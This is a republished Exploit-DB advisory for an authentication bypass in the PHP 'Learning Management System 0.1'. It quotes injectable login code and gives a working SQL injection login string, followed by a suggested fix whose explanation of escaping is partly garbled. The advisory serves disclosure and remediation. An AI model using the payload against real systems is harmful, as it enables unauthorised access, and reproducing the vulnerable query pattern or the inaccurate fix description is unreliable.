Learning Management System 0.1 – Authentication Bypass

Exploit Database
126 阅读

作者： lahilote

日期： 2016-10-14
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40545/

# Exploit Title.............. Learning Management System Auth Bypass

# Google Dork................ N/A

# Date....................... 14/10/2016

# Exploit Author............. lahilote

# Vendor Homepage............ http://www.sourcecodester.com/php/7339/learning-management-system.html

# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/jkev/lms.zip

# Version.................... 0.1

# Tested on.................. xampp

# CVE........................ N/A

The audit_list in lms/login.php

-------------------------------

----snip----

$username = $_POST['username'];

$password = $_POST['password'];

/* student */

$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";

$result = mysql_query($query)or die(mysql_error());

$row = mysql_fetch_array($result);

$num_row = mysql_num_rows($result);

/* teacher */

$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());

$num_row_teacher = mysql_num_rows($query_teacher);

$row_teahcer = mysql_fetch_array($query_teacher);

if( $num_row > 0 ) {

----snip----

lms/admin/login.php

-------------------

----snip----

$username = $_POST['username'];

$password = $_POST['password'];

$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());

$count = mysql_num_rows($query);

$row = mysql_fetch_array($query);

----snip----

You can login with username and password: admin' or '1'='1

How to fix

----------

One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.

It causes that every of this characters \x00, \n, \r, \, '

get's replaced with a simple Backslash „/“, so the attackers commands become useless.

Example: lms/login.php

$username = mysql_real_escape_string($_POST['username']);

$password = mysql_real_escape_string($_POST['password']);

/* student */

$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";

$result = mysql_query($query)or die(mysql_error());

$row = mysql_fetch_array($result);

$num_row = mysql_num_rows($result);

/* teacher */

$query_teacher = mysql_query("SELECT * FROM teacher WHERE username='$username' AND password='$password'")or die(mysql_error());

$num_row_teacher = mysql_num_rows($query_teacher);

$row_teahcer = mysql_fetch_array($query_teacher);

if( $num_row > 0 ) {

Example: lms/admin/login.php

$username = mysql_real_escape_string($_POST['username']);

$password = mysql_real_escape_string($_POST['password']);

$query = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'")or die(mysql_error());

$count = mysql_num_rows($query);

$row = mysql_fetch_array($query);

Credits

-------

This vulnerability was discovered and researched by lahilote

References

----------

http://www.sourcecodester.com/php/7339/learning-management-system.html

http://php.net/manual/en/function.mysql-real-escape-string.php